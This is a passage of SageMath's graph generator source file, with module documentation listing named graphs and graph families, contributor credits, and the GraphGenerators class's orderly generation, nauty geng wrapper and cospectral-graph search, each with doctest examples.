\"Toroidal6RegularGrid2dGraph\"]\n    )\n\n__doc__ += \"\"\"\n**Small Graphs**\n\nA small graph is just a single graph and has no parameter influencing\nthe number of edges or vertices.\n\"\"\"\n\n__append_to_doc(\n    [\"Balaban10Cage\",\n     \"Balaban11Cage\",\n     \"BidiakisCube\",\n     \"BiggsSmithGraph\",\n     \"BlanusaFirstSnarkGraph\",\n     \"BlanusaSecondSnarkGraph\",\n     \"BrinkmannGraph\",\n     \"BrouwerHaemersGraph\",\n     \"BuckyBall\",\n     \"CameronGraph\",\n     \"Cell600\",\n     \"Cell120\",\n     \"ChvatalGraph\",\n     \"ClebschGraph\",\n     \"cocliques_HoffmannSingleton\",\n     \"ConwaySmith_for_3S7\",\n     \"CoxeterGraph\",\n     \"DesarguesGraph\",\n     \"DejterGraph\",\n     \"distance_3_doubly_truncated_Golay_code_graph\",\n     \"DoubleStarSnark\",\n     \"DoublyTruncatedWittGraph\",\n     \"DurerGraph\",\n     \"DyckGraph\",\n     \"EllinghamHorton54Graph\",\n     \"EllinghamHorton78Graph\",\n     \"ErreraGraph\",\n     \"F26AGraph\",\n     \"FlowerSnark\",\n     \"FolkmanGraph\",\n     \"FosterGraph\",\n     \"FosterGraph3S6\",\n     \"FranklinGraph\",\n     \"FruchtGraph\",\n     \"GoldnerHararyGraph\",\n     \"GolombGraph\",\n     \"GossetGraph\",\n     \"graph_3O73\",\n     \"GrayGraph\",\n     \"GrotzschGraph\",\n     \"HallJankoGraph\",\n     \"HarborthGraph\",\n     \"HarriesGraph\",\n     \"HarriesWongGraph\",\n     \"HeawoodGraph\",\n     \"HerschelGraph\",\n     \"HigmanSimsGraph\",\n     \"HoffmanGraph\",\n     \"HoffmanSingletonGraph\",\n     \"HoltGraph\",\n     \"HortonGraph\",\n     \"IoninKharaghani765Graph\",\n     \"IvanovIvanovFaradjevGraph\",\n     \"J2Graph\",\n     \"JankoKharaghaniGraph\",\n     \"JankoKharaghaniTonchevGraph\",\n     \"KittellGraph\",\n     \"KrackhardtKiteGraph\",\n     \"Klein3RegularGraph\",\n     \"Klein7RegularGraph\",\n     \"LargeWittGraph\",\n     \"LeonardGraph\",\n     \"LjubljanaGraph\",\n     \"vanLintSchrijverGraph\",\n     \"LivingstoneGraph\",\n     \"locally_GQ42_distance_transitive_graph\",\n     \"LocalMcLaughlinGraph\",\n     \"M22Graph\",\n     \"MarkstroemGraph\",\n     \"MathonStronglyRegularGraph\",\n     \"McGeeGraph\",\n     \"McLaughlinGraph\",\n     \"MeredithGraph\",\n     \"MoebiusKantorGraph\",\n     \"MoserSpindle\",\n     \"NauruGraph\",\n     \"PappusGraph\",\n     \"PoussinGraph\",\n     \"PerkelGraph\",\n     \"PetersenGraph\",\n     \"RobertsonGraph\",\n     \"SchlaefliGraph\",\n     \"shortened_00_11_binary_Golay_code_graph\",\n     \"shortened_000_111_extended_binary_Golay_code_graph\",\n     \"ShrikhandeGraph\",\n     \"SimsGewirtzGraph\",\n     \"SousselierGraph\",\n     \"SylvesterGraph\",\n     \"SzekeresSnarkGraph\",\n     \"ThomsenGraph\",\n     \"TietzeGraph\",\n     \"TruncatedIcosidodecahedralGraph\",\n     \"TruncatedTetrahedralGraph\",\n     \"TruncatedWittGraph\",\n     \"Tutte12Cage\",\n     \"TutteCoxeterGraph\",\n     \"TutteGraph\",\n     \"U42Graph216\",\n     \"U42Graph540\",\n     \"WagnerGraph\",\n     \"WatkinsSnarkGraph\",\n     \"WellsGraph\",\n     \"WienerArayaGraph\",\n     \"SuzukiGraph\"])\n\n__doc__ += \"\"\"\n**Platonic solids** (ordered ascending by number of vertices)\n\"\"\"\n\n__append_to_doc(\n    [\"TetrahedralGraph\",\n     \"OctahedralGraph\",\n     \"HexahedralGraph\",\n     \"IcosahedralGraph\",\n     \"DodecahedralGraph\"])\n\n__doc__ += \"\"\"\n**Families of graphs**\n\nA family of graph is an infinite set of graphs which can be indexed by fixed\nnumber of parameters, e.g. two integer parameters. (A method whose name starts\nwith a small letter does not return a single graph object but a graph iterator\nor a list of graphs or ...)\n\"\"\"\n\n__append_to_doc(\n    [\"AlternatingFormsGraph\",\n     \"AztecDiamondGraph\",\n     \"BalancedTree\",\n     \"BarbellGraph\",\n     \"BilinearFormsGraph\",\n     \"BubbleSortGraph\",\n     \"CaiFurerImmermanGraph\",\n     \"chang_graphs\",\n     \"CirculantGraph\",\n     \"cospectral_graphs\",\n     \"CubeGraph\",\n     \"CubeConnectedCycle\",\n     \"DorogovtsevGoltsevMendesGraph\",\n     \"DoubleGrassmannGraph\",\n     \"DoubleOddGraph\",\n     \"EgawaGraph\",\n     \"FibonacciTree\",\n     \"FoldedCubeGraph\",\n     \"FriendshipGraph\",\n     \"fullerenes\",\n     \"FurerGadget\",\n     \"fusenes\",\n     \"FuzzyBallGraph\",\n     \"GeneralizedPetersenGraph\",\n     \"GoethalsSeidelGraph\",\n     \"GrassmannGraph\",\n     \"HalfCube\",\n     \"HammingGraph\",\n     \"HanoiTowerGraph\",\n     \"HararyGraph\",\n     \"HermitianFormsGraph\",\n     \"HyperStarGraph\",\n     \"JohnsonGraph\",\n     \"KneserGraph\",\n     \"LCFGraph\",\n     \"line_graph_forbidden_subgraphs\",\n     \"MathonPseudocyclicMergingGraph\",\n     \"MathonPseudocyclicStronglyRegularGraph\",\n     \"MuzychukS6Graph\",\n     \"MycielskiGraph\",\n     \"MycielskiStep\",\n     \"NKStarGraph\",\n     \"NStarGraph\",\n     \"OddGraph\",\n     \"PaleyGraph\",\n     \"PasechnikGraph\",\n     \"petersen_family\",\n     \"planar_graphs\",\n     \"quadrangulations\",\n     \"RingedTree\",\n     \"SierpinskiGasketGraph\",\n     \"SquaredSkewHadamardMatrixGraph\",\n     \"SwitchedSquaredSkewHadamardMatrixGraph\",\n     \"strongly_regular_graph\",\n     \"trees\",\n     \"triangulations\",\n     \"TuranGraph\",\n     \"UstimenkoGraph\",\n     \"WheelGraph\",\n     \"WindmillGraph\"])\n\n\n__doc__ += \"\"\"\n**Graphs from classical geometries over finite fields**\n\nA number of classes of graphs related to geometries over finite fields and\nquadrics and Hermitean varieties there.\n\"\"\"\n\n__append_to_doc(\n    [\"AffineOrthogonalPolarGraph\",\n     \"AhrensSzekeresGeneralizedQuadrangleGraph\",\n     \"NonisotropicOrthogonalPolarGraph\",\n     \"NonisotropicUnitaryPolarGraph\",\n     \"OrthogonalDualPolarGraph\",\n     \"OrthogonalPolarGraph\",\n     \"SymplecticDualPolarGraph\",\n     \"SymplecticPolarGraph\",\n     \"TaylorTwographDescendantSRG\",\n     \"TaylorTwographSRG\",\n     \"T2starGeneralizedQuadrangleGraph\",\n     \"Nowhere0WordsTwoWeightCodeGraph\",\n     \"HaemersGraph\",\n     \"CossidentePenttilaGraph\",\n     \"UnitaryDualPolarGraph\",\n     \"UnitaryPolarGraph\"])\n\n__doc__ += \"\"\"\n**Chessboard Graphs**\n\"\"\"\n\n__append_to_doc(\n    [\"BishopGraph\",\n     \"KingGraph\",\n     \"KnightGraph\",\n     \"QueenGraph\",\n     \"RookGraph\"])\n\n__doc__ += \"\"\"\n**Intersection graphs**\n\nThese graphs are generated by geometric representations. The objects of\nthe representation correspond to the graph vertices and the intersections\nof objects yield the graph edges.\n\"\"\"\n\n__append_to_doc(\n    [\"IntersectionGraph\",\n     \"IntervalGraph\",\n     \"OrthogonalArrayBlockGraph\",\n     \"PermutationGraph\",\n     \"ToleranceGraph\"])\n\n__doc__ += \"\"\"\n**Random graphs**\n\"\"\"\n\n__append_to_doc(\n    [\"RandomBarabasiAlbert\",\n     \"RandomBicubicPlanar\",\n     \"RandomBipartite\",\n     \"RandomRegularBipartite\",\n     \"RandomBlockGraph\",\n     \"RandomBoundedToleranceGraph\",\n     \"RandomGNM\",\n     \"RandomGNP\",\n     \"RandomHolmeKim\",\n     \"RandomChordalGraph\",\n     \"RandomIntervalGraph\",\n     \"RandomLobster\",\n     \"RandomNewmanWattsStrogatz\",\n     \"RandomRegular\",\n     \"RandomShell\",\n     \"RandomToleranceGraph\",\n     \"RandomTree\",\n     \"RandomTreePowerlaw\",\n     \"RandomTriangulation\"])\n\n__doc__ += \"\"\"\n**Graphs with a given degree sequence**\n\"\"\"\n\n__append_to_doc(\n    [\"DegreeSequence\",\n     \"DegreeSequenceBipartite\",\n     \"DegreeSequenceConfigurationModel\",\n     \"DegreeSequenceExpected\",\n     \"DegreeSequenceTree\"])\n\n__doc__ += \"\"\"\n**Miscellaneous**\n\"\"\"\n\n__append_to_doc(\n    [\"WorldMap\",\n     \"EuropeMap\",\n     \"AfricaMap\",\n     \"USAMap\"]\n    )\n\n__doc__ += \"\"\"\n\nAUTHORS:\n\n- Robert Miller (2006-11-05): initial version, empty, random, petersen\n\n- Emily Kirkman (2006-11-12): basic structures, node positioning for\n  all constructors\n\n- Emily Kirkman (2006-11-19): docstrings, examples\n\n- William Stein (2006-12-05): Editing.\n\n- Robert Miller (2007-01-16): Cube generation and plotting\n\n- Emily Kirkman (2007-01-16): more basic structures, docstrings\n\n- Emily Kirkman (2007-02-14): added more named graphs\n\n- Robert Miller (2007-06-08-11): Platonic solids, random graphs,\n  graphs with a given degree sequence, random directed graphs\n\n- Robert Miller (2007-10-24): Isomorph free exhaustive generation\n\n- Nathann Cohen (2009-08-12): WorldMap\n\n- Michael Yurko (2009-9-01): added hyperstar, (n,k)-star, n-star, and\n  bubblesort graphs\n\n- Anders Jonsson (2009-10-15): added generalized Petersen graphs\n\n- Harald Schilly and Yann Laigle-Chapuy (2010-03-24): added Fibonacci Tree\n\n- Jason Grout (2010-06-04): cospectral_graphs\n\n- Edward Scheinerman (2010-08-11): RandomTree\n\n- Ed Scheinerman (2010-08-21): added Grotzsch graph and Mycielski graphs\n\n- Ed Scheinerman (2010-11-15): added RandomTriangulation\n\n- Minh Van Nguyen (2010-11-26): added more named graphs\n\n- Keshav Kini (2011-02-16): added Shrikhande and Dyck graphs\n\n- David Coudert (2012-02-10): new RandomGNP generator\n\n- David Coudert (2012-08-02): added chessboard graphs: Queen, King,\n  Knight, Bishop, and Rook graphs\n\n- Nico Van Cleemput (2013-05-26): added fullerenes\n\n- Nico Van Cleemput (2013-07-01): added benzenoids\n\n- Birk Eisermann (2013-07-29): new section 'intersection graphs',\n  added (random, bounded) tolerance graphs\n\n- Marco Cognetta (2016-03-03): added TuranGraph\n\n\nFunctions and methods\n---------------------\n\"\"\"\n\n###########################################################################\n\n#           Copyright (C) 2006 Robert L. Miller <rlmillster@gmail.com>\n#                              and Emily A. Kirkman\n#           Copyright (C) 2009 Michael C. Yurko <myurko@gmail.com>\n#\n# Distributed  under  the  terms  of  the  GNU  General  Public  License (GPL)\n#                         http://www.gnu.org/licenses/\n###########################################################################\n\n# import from Python standard library\n\n# import from Sage library\nfrom . import graph\n\n\nclass GraphGenerators():\n    r\"\"\"\n    A class consisting of constructors for several common graphs, as well as\n    orderly generation of isomorphism class representatives. See the\n    :mod:`module's help <sage.graphs.graph_generators>` for a list of supported\n    constructors.\n\n    A list of all graphs and graph structures (other than isomorphism class\n    representatives) in this database is available via tab completion. Type\n    \"graphs.\" and then hit the tab key to see which graphs are available.\n\n    The docstrings include educational information about each named\n    graph with the hopes that this class can be used as a reference.\n\n    For all the constructors in this class (except the octahedral,\n    dodecahedral, random and empty graphs), the position dictionary is\n    filled to override the spring-layout algorithm.\n\n\n    ORDERLY GENERATION::\n\n        graphs(vertices, property=lambda x: True, augment='edges', size=None)\n\n    This syntax accesses the generator of isomorphism class\n    representatives. Iterates over distinct, exhaustive\n    representatives.\n\n    Also: see the use of the nauty package for generating graphs\n    at the :meth:`nauty_geng` method.\n\n    INPUT:\n\n    - ``vertices`` -- a natural number or ``None`` to infinitely generate\n      bigger and bigger graphs.\n\n    - ``property`` -- (default: ``lambda x: True``) any property to be\n      tested on graphs before generation, but note that in general the\n      graphs produced are not the same as those produced by using the\n      property function to filter a list of graphs produced by using\n      the ``lambda x: True`` default. The generation process assumes\n      the property has certain characteristics set by the ``augment``\n      argument, and only in the case of inherited properties such that\n      all subgraphs of the relevant kind (for ``augment='edges'`` or\n      ``augment='vertices'``) of a graph with the property also\n      possess the property will there be no missing graphs.  (The\n      ``property`` argument is ignored if ``degree_sequence`` is\n      specified.)\n\n    - ``augment`` -- (default: ``'edges'``) possible values:\n\n      - ``'edges'`` -- augments a fixed number of vertices by\n        adding one edge. In this case, all graphs on *exactly* ``n=vertices`` are\n        generated. If for any graph G satisfying the property, every\n        subgraph, obtained from G by deleting one edge but not the vertices\n        incident to that edge, satisfies the property, then this will\n        generate all graphs with that property. If this does not hold, then\n        all the graphs generated will satisfy the property, but there will\n        be some missing.\n\n      - ``'vertices'`` -- augments by adding a vertex and\n        edges incident to that vertex. In this case, all graphs *up to*\n        ``n=vertices`` are generated. If for any graph G satisfying the\n        property, every subgraph, obtained from G by deleting one vertex\n        and only edges incident to that vertex, satisfies the property,\n        then this will generate all graphs with that property. If this does\n        not hold, then all the graphs generated will satisfy the property,\n        but there will be some missing.\n\n    - ``size`` -- (default: ``None``) the size of the graph to be generated.\n\n    - ``degree_sequence`` -- (default: ``None``) a sequence of non-negative integers,\n      or ``None``. If specified, the generated graphs will have these\n      integers for degrees. In this case, property and size are both\n      ignored.\n\n    - ``loops`` -- (default: ``False``) whether to allow loops in the graph\n      or not.\n\n    - ``sparse`` -- (default: ``True``); whether to use a sparse or dense data\n      structure. See the documentation of :class:`~sage.graphs.graph.Graph`.\n\n    - ``copy`` (boolean) -- If set to ``True`` (default)\n      this method makes copies of the graphs before returning\n      them. If set to ``False`` the method returns the graph it\n      is working on. The second alternative is faster, but modifying\n      any of the graph instances returned by the method may break\n      the function's behaviour, as it is using these graphs to\n      compute the next ones: only use ``copy = False`` when\n      you stick to *reading* the graphs returned.\n\n    EXAMPLES:\n\n    Print graphs on 3 or less vertices::\n\n        sage: for G in graphs(3, augment='vertices'):\n        ....:     print(G)\n        Graph on 0 vertices\n        Graph on 1 vertex\n        Graph on 2 vertices\n        Graph on 3 vertices\n        Graph on 3 vertices\n        Graph on 3 vertices\n        Graph on 2 vertices\n        Graph on 3 vertices\n\n    Print graphs on 3 vertices.\n\n    ::\n\n        sage: for G in graphs(3):\n        ....:    print(G)\n        Graph on 3 vertices\n        Graph on 3 vertices\n        Graph on 3 vertices\n        Graph on 3 vertices\n\n    Generate all graphs with 5 vertices and 4 edges.\n\n    ::\n\n        sage: L = graphs(5, size=4)\n        sage: len(list(L))\n        6\n\n    Generate all graphs with 5 vertices and up to 4 edges.\n\n    ::\n\n        sage: L = list(graphs(5, lambda G: G.size() <= 4))\n        sage: len(L)\n        14\n        sage: graphs_list.show_graphs(L) # long time\n\n    Generate all graphs with up to 5 vertices and up to 4 edges.\n\n    ::\n\n        sage: L = list(graphs(5, lambda G: G.size() <= 4, augment='vertices'))\n        sage: len(L)\n        31\n        sage: graphs_list.show_graphs(L)              # long time\n\n    Generate all graphs with degree at most 2, up to 6 vertices.\n\n    ::\n\n        sage: property = lambda G: ( max([G.degree(v) for v in G] + [0]) <= 2 )\n        sage: L = list(graphs(6, property, augment='vertices'))\n        sage: len(L)\n        45\n\n    Generate all bipartite graphs on up to 7 vertices: (see\n    :oeis:`A033995`)\n\n    ::\n\n        sage: L = list( graphs(7, lambda G: G.is_bipartite(), augment='vertices') )\n        sage: [len([g for g in L if g.order() == i]) for i in [1..7]]\n        [1, 2, 3, 7, 13, 35, 88]\n\n    Generate all bipartite graphs on exactly 7 vertices::\n\n        sage: L = list( graphs(7, lambda G: G.is_bipartite()) )\n        sage: len(L)\n        88\n\n    Generate all bipartite graphs on exactly 8 vertices::\n\n        sage: L = list( graphs(8, lambda G: G.is_bipartite()) ) # long time\n        sage: len(L)                                            # long time\n        303\n\n    Remember that the property argument does not behave as a filter,\n    except for appropriately inheritable properties::\n\n        sage: property = lambda G: G.is_vertex_transitive()\n        sage: len(list(graphs(4, property)))\n        1\n        sage: sum(1 for g in graphs(4) if property(g))\n        4\n\n        sage: property = lambda G: G.is_bipartite()\n        sage: len(list(graphs(4, property)))\n        7\n        sage: sum(1 for g in graphs(4) if property(g))\n        7\n\n    Generate graphs on the fly: (see :oeis:`A000088`)\n\n    ::\n\n        sage: for i in range(7):\n        ....:     print(len(list(graphs(i))))\n        1\n        1\n        2\n        4\n        11\n        34\n        156\n\n    Generate all simple graphs, allowing loops: (see :oeis:`A000666`)\n\n    ::\n\n        sage: L = list(graphs(5,augment='vertices',loops=True))               # long time\n        sage: for i in [0..5]:  # long time\n        ....:     print((i, len([g for g in L if g.order() == i]))) # long time\n        (0, 1)\n        (1, 2)\n        (2, 6)\n        (3, 20)\n        (4, 90)\n        (5, 544)\n\n    Generate all graphs with a specified degree sequence (see :oeis:`A002851`)::\n\n        sage: for i in [4,6,8]:  # long time (4s on sage.math, 2012)\n        ....:     print((i, len([g for g in graphs(i, degree_sequence=[3]*i) if g.is_connected()])))\n        (4, 1)\n        (6, 2)\n        (8, 5)\n        sage: for i in [4,6,8]:  # long time (7s on sage.math, 2012)\n        ....:     print((i, len([g for g in graphs(i, augment='vertices', degree_sequence=[3]*i) if g.is_connected()])))\n        (4, 1)\n        (6, 2)\n        (8, 5)\n\n    ::\n\n        sage: print((10, len([g for g in graphs(10,degree_sequence=[3]*10) if g.is_connected()]))) # not tested\n        (10, 19)\n\n    Make sure that the graphs are really independent and the generator\n    survives repeated vertex removal (:trac:`8458`)::\n\n        sage: for G in graphs(3):\n        ....:     G.delete_vertex(0)\n        ....:     print(G.order())\n        2\n        2\n        2\n        2\n\n    REFERENCE:\n\n    - Brendan D. McKay, Isomorph-Free Exhaustive generation.  *Journal\n      of Algorithms*, Volume 26, Issue 2, February 1998, pages 306-324.\n    \"\"\"\n\n###########################################################################\n#   Graph Iterators\n###########################################################################\n\n    def __call__(self, vertices=None, property=None, augment='edges',\n        size=None, degree_sequence=None, loops=False, sparse=True, copy = True):\n        \"\"\"\n        Accesses the generator of isomorphism class representatives.\n        Iterates over distinct, exhaustive representatives. See the docstring\n        of this class for full documentation.\n\n        EXAMPLES:\n\n        Print graphs on 3 or less vertices::\n\n            sage: for G in graphs(3, augment='vertices'):\n            ....:    print(G)\n            Graph on 0 vertices\n            Graph on 1 vertex\n            Graph on 2 vertices\n            Graph on 3 vertices\n            Graph on 3 vertices\n            Graph on 3 vertices\n            Graph on 2 vertices\n            Graph on 3 vertices\n\n        ::\n\n            sage: for g in graphs():\n            ....:    if g.num_verts() > 3: break\n            ....:    print(g)\n            Graph on 0 vertices\n            Graph on 1 vertex\n            Graph on 2 vertices\n            Graph on 2 vertices\n            Graph on 3 vertices\n            Graph on 3 vertices\n            Graph on 3 vertices\n            Graph on 3 vertices\n\n        For more examples, see the class level documentation, or type::\n\n            sage: graphs? # not tested\n\n        REFERENCE:\n\n        - Brendan D. McKay, Isomorph-Free Exhaustive generation.\n          Journal of Algorithms Volume 26, Issue 2, February 1998,\n          pages 306-324.\n        \"\"\"\n        # Use nauty for the basic case, as it is much faster.\n        if (vertices and property is None and size is None and\n            degree_sequence is None and not loops and augment == 'edges' and\n            sparse and copy):\n            for g in graphs.nauty_geng(vertices):\n                yield g\n            return\n\n        if property is None:\n            def property(x):\n                return True\n\n        from sage.graphs.all import Graph\n        from copy import copy as copyfun\n\n        if degree_sequence is not None:\n            if vertices is None:\n                raise NotImplementedError\n            if len(degree_sequence) != vertices or sum(degree_sequence)%2 or sum(degree_sequence) > vertices*(vertices-1):\n                raise ValueError(\"Invalid degree sequence.\")\n            degree_sequence = sorted(degree_sequence)\n            if augment == 'edges':\n                def property(x):\n                    D = sorted(x.degree())\n                    return all(degree_sequence[i] >= d for i, d in enumerate(D))\n                def extra_property(x):\n                    return degree_sequence == sorted(x.degree())\n            else:\n                def property(x):\n                    D = sorted(x.degree() + [0] * (vertices - x.num_verts()))\n                    return all(degree_sequence[i] >= d for i, d in enumerate(D))\n                def extra_property(x):\n                    if x.num_verts() != vertices:\n                        return False\n                    return degree_sequence == sorted(x.degree())\n        elif size is not None:\n            def extra_property(x):\n                return x.size() == size\n        else:\n            def extra_property(x):\n                return True\n\n        if augment == 'vertices':\n            if vertices is None:\n                raise NotImplementedError\n            g = Graph(loops=loops, sparse=sparse)\n            for gg in canaug_traverse_vert(g, [], vertices, property, loops=loops, sparse=sparse):\n                if extra_property(gg):\n                    yield copyfun(gg) if copy else gg\n        elif augment == 'edges':\n            if vertices is None:\n                from sage.rings.all import Integer\n                vertices = Integer(0)\n                while True:\n                    for g in self(vertices, loops=loops, sparse=sparse):\n                        yield copyfun(g) if copy else g\n                    vertices += 1\n            g = Graph(vertices, loops=loops, sparse=sparse)\n            gens = []\n            for i in range(vertices-1):\n                gen = list(range(i))\n                gen.append(i+1)\n                gen.append(i)\n                gen += list(range(i + 2, vertices))\n                gens.append(gen)\n            for gg in canaug_traverse_edge(g, gens, property, loops=loops, sparse=sparse):\n                if extra_property(gg):\n                    yield copyfun(gg) if copy else gg\n        else:\n            raise NotImplementedError\n\n\n    def nauty_geng(self, options=\"\", debug=False):\n        r\"\"\"\n        Return a generator which creates graphs from nauty's geng program.\n\n        INPUT:\n\n        - ``options`` -- string (default: ``\"\"``); a string passed to ``geng``\n          as if it was run at a system command line. At a minimum, you *must*\n          pass the number of vertices you desire.  Sage expects the graphs to be\n          in nauty's \"graph6\" format, do not set an option to change this\n          default or results will be unpredictable.\n\n        - ``debug`` -- boolean (default: ``False``); if ``True`` the first line\n          of ``geng``'s output to standard error is captured and the first call\n          to the generator's ``next()`` function will return this line as a\n          string.  A line leading with \">A\" indicates a successful initiation of\n          the program with some information on the arguments, while a line\n          beginning with \">E\" indicates an error with the input.\n\n        The possible options, obtained as output of ``geng --help``::\n\n                 n       : the number of vertices\n            mine:maxe    : <int>:<int> a range for the number of edges\n                            <int>:0 means '<int> or more' except in the case 0:0\n              res/mod : only generate subset res out of subsets 0..mod-1\n\n                -c       : only write connected graphs\n                -C       : only write biconnected graphs\n                -t       : only generate triangle-free graphs\n                -f       : only generate 4-cycle-free graphs\n                -b       : only generate bipartite graphs\n                              (-t, -f and -b can be used in any combination)\n                -m       : save memory at the expense of time (only makes a\n                              difference in the absence of -b, -t, -f and n <= 28).\n                -d<int>  : a lower bound for the minimum degree\n                -D<int>  : a upper bound for the maximum degree\n                -v       : display counts by number of edges\n                -l       : canonically label output graphs\n\n                -q       : suppress auxiliary output (except from -v)\n\n        Options which cause ``geng`` to use an output format different than the\n        graph6 format are not listed above (-u, -g, -s, -y, -h) as they will\n        confuse the creation of a Sage graph.  The res/mod option can be useful\n        when using the output in a routine run several times in parallel.\n\n        OUTPUT:\n\n        A generator which will produce the graphs as Sage graphs.\n        These will be simple graphs: no loops, no multiple edges, no\n        directed edges.\n\n        .. SEEALSO::\n\n            :meth:`Graph.is_strongly_regular` -- tests whether a graph is\n            strongly regular and/or returns its parameters.\n\n        EXAMPLES:\n\n        The generator can be used to construct graphs for testing,\n        one at a time (usually inside a loop).  Or it can be used to\n        create an entire list all at once if there is sufficient memory\n        to contain it.  ::\n\n            sage: gen = graphs.nauty_geng(\"2\")\n            sage: next(gen)\n            Graph on 2 vertices\n            sage: next(gen)\n            Graph on 2 vertices\n            sage: next(gen)\n            Traceback (most recent call last):\n            ...\n            StopIteration\n\n        A list of all graphs on 7 vertices.  This agrees with\n        :oeis:`A000088`.  ::\n\n            sage: gen = graphs.nauty_geng(\"7\")\n            sage: len(list(gen))\n            1044\n\n        A list of just the connected graphs on 7 vertices.  This agrees with\n        :oeis:`A001349`.  ::\n\n            sage: gen = graphs.nauty_geng(\"7 -c\")\n            sage: len(list(gen))\n            853\n\n        A list of connected degree exactly 2 graphs on 5 vertices. ::\n\n            sage: gen = graphs.nauty_geng(\"5 -c -d2 -D2\")\n            sage: len(list(gen))\n            1\n\n        The ``debug`` switch can be used to examine ``geng``'s reaction to the\n        input in the ``options`` string.  We illustrate success.  (A failure\n        will be a string beginning with \">E\".)  Passing the \"-q\" switch to\n        ``geng`` will supress the indicator of a successful initiation, and so\n        the first returned value might be an empty string if ``debug`` is\n        ``True``::\n\n            sage: gen = graphs.nauty_geng(\"4\", debug=True)\n            sage: print(next(gen))\n            >A ...geng -d0D3 n=4 e=0-6\n            sage: gen = graphs.nauty_geng(\"4 -q\", debug=True)\n            sage: next(gen)\n            ''\n\n        TESTS:\n\n        Wrong input, ``\"-c3\"`` instead of ``\"-c 3\"`` (:trac:`14068`)::\n\n            sage: list(graphs.nauty_geng(\"-c3\", debug=False))\n            Traceback (most recent call last):\n            ...\n            ValueError: wrong format of parameter option\n            sage: list(graphs.nauty_geng(\"-c3\", debug=True))\n            ['>E Usage: ...geng [-cCmtfbd#D#] [-uygsnh] [-lvq] ...\n            sage: list(graphs.nauty_geng(\"-c 3\", debug=True))\n            ['>A ...geng -cd1D2 n=3 e=2-3\\n', Graph on 3 vertices, Graph on 3 vertices]\n        \"\"\"\n\n        sp = subprocess.Popen(nautyprefix+\"geng {0}\".format(options), shell=True,\n                              stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n                              stderr=subprocess.PIPE, close_fds=True,\n                              encoding='latin-1')\n        msg = sp.stderr.readline()\n        if debug:\n            yield msg\n        elif msg.startswith('>E'):\n            raise ValueError('wrong format of parameter option')\n        gen = sp.stdout\n        while True:\n            try:\n                s = next(gen)\n            except StopIteration:\n                # Exhausted list of graphs from nauty geng\n                return\n            G = graph.Graph(s[:-1], format='graph6')\n            yield G\n\n\n    def cospectral_graphs(self, vertices, matrix_function=lambda g: g.adjacency_matrix(), graphs=None):\n        r\"\"\"\n        Find all sets of graphs on ``vertices`` vertices (with\n        possible restrictions) which are cospectral with respect to a\n        constructed matrix.\n\n        INPUT:\n\n        - ``vertices`` - The number of vertices in the graphs to be tested\n\n        - ``matrix_function`` - A function taking a graph and giving back\n          a matrix.  This defaults to the adjacency matrix.  The spectra\n          examined are the spectra of these matrices.\n\n        - ``graphs`` - One of three things:\n\n           - ``None`` (default) - test all graphs having ``vertices``\n             vertices\n\n           - a function taking a graph and returning ``True`` or ``False``\n             - test only the graphs on ``vertices`` vertices for which\n             the function returns ``True``\n\n           - a list of graphs (or other iterable object) - these graphs\n             are tested for cospectral sets.  In this case,\n             ``vertices`` is ignored.\n\n        OUTPUT:\n\n           A list of lists of graphs.  Each sublist will be a list of\n           cospectral graphs (lists of cardinality 1 being omitted).\n\n\n        .. SEEALSO::\n\n            :meth:`Graph.is_strongly_regular` -- tests whether a graph is\n            strongly regular and/or returns its parameters.\n\n        EXAMPLES::\n\n            sage: g=graphs.cospectral_graphs(5)\n            sage: sorted(sorted(g.graph6_string() for g in glist) for glist in g)\n            [['Dr?', 'Ds_']]\n            sage: g[0][1].am().charpoly()==g[0][1].am().charpoly()\n            True\n\n        There are two sets of cospectral graphs on six vertices with no isolated vertices::\n\n            sage: g=graphs.cospectral_graphs(6, graphs=lambda x: min(x.degree())>0)\n            sage: sorted(sorted(g.graph6_string() for g in glist) for glist in g)\n            [['Ep__', 'Er?G'], ['ExGg', 'ExoG']]\n            sage: g[0][1].am().charpoly()==g[0][1].am().charpoly()\n            True\n            sage: g[1][1].am().charpoly()==g[1][1].am().charpoly()\n            True\n\n        There is one pair of cospectral trees on eight vertices::\n\n            sage: g=graphs.cospectral_graphs(6, graphs=graphs.trees(8))\n            sage: sorted(sorted(g.graph6_string() for g in glist) for glist in g)\n            [['GiPC?C', 'GiQCC?']]\n            sage: g[0][1].am().charpoly()==g[0][1].am().charpoly()\n            True\n\n        There are two sets of cospectral graphs (with respect to the\n        Laplacian matrix) on six vertices::\n\n            sage: g=graphs.cospectral_graphs(6, matrix_function=lambda g: g.laplacian_matrix())\n            sage: sorted(sorted(g.graph6_string() for g in glist) for glist in g)\n            [['Edq_', 'ErcG'], ['Exoo', 'EzcG']]\n            sage: g[0][1].laplacian_matrix().charpoly()==g[0][1].laplacian_matrix().charpoly()\n            True\n            sage: g[1][1].laplacian_matrix().charpoly()==g[1][1].laplacian_matrix().charpoly()\n            True\n\n        To find cospectral graphs with respect to the normalized\n        Laplacian, assuming the graphs do not have an isolated vertex, it\n        is enough to check the spectrum of the matrix `D^{-1}A`, where `D`\n        is the diagonal matrix of vertex degrees, and A is the adjacency\n        matrix.  We find two such cospectral graphs (for the normalized\n        Laplacian) on five vertices::\n\n            sage: def DinverseA(g):\n            ....:   A=g.adjacency_matrix().change_ring(QQ)\n            ....:   for i in range(g.order()):\n            ....:       A.rescale_row(i, 1/len(A.nonzero_positions_in_row(i)))\n            ....:   return A\n            sage: g=graphs.cospectral_graphs(5, matrix_function=DinverseA, graphs=lambda g: min(g.degree())>0)\n            sage: sorted(sorted(g.graph6_string() for g in glist) for glist in g)\n            [['Dlg', 'Ds_']]\n            sage: g[0][1].laplacian_matrix(normalized=True).charpoly()==g[0][1].laplacian_matrix(normalized=True).charpoly()\n            True\n        \"\"\"\n        from sage.graphs.all import graphs as graph_gen\n        if graphs is None:\n            graph_list=graph_gen(vertices, property=lambda _: True)\n        elif callable(graphs):\n            graph_list=iter(g for g in graph_gen(vertices, property=lambda _: True) if graphs(g))\n        else:\n            graph_list=iter(graphs)\n\n        from collections import defaultdict\n        charpolys=defaultdict(list)\n        for g in graph_list:\n            cp=matrix_function(g).charpoly()\n            charpolys[cp].append(g)\n\n        cospectral_graphs=[]\n        for cp,g_list in charpolys.items():\n            if len(g_list)>1:\n                cospectral_graphs.append(g_list)\n\n        return cospectral_graphs\n\n    def _read_planar_code(self, code_input):\n        r\"\"\"\n        Returns a generator for the plane graphs in planar code format in\n        the file code_input (see [BM2016]_).\n\n        A file with planar code starts with a header ``>>planar_code<<``.\n        After the header each graph is stored in the following way :\n\n        The first character is the number of vertices, followed by\n        n11,...,n1k,null 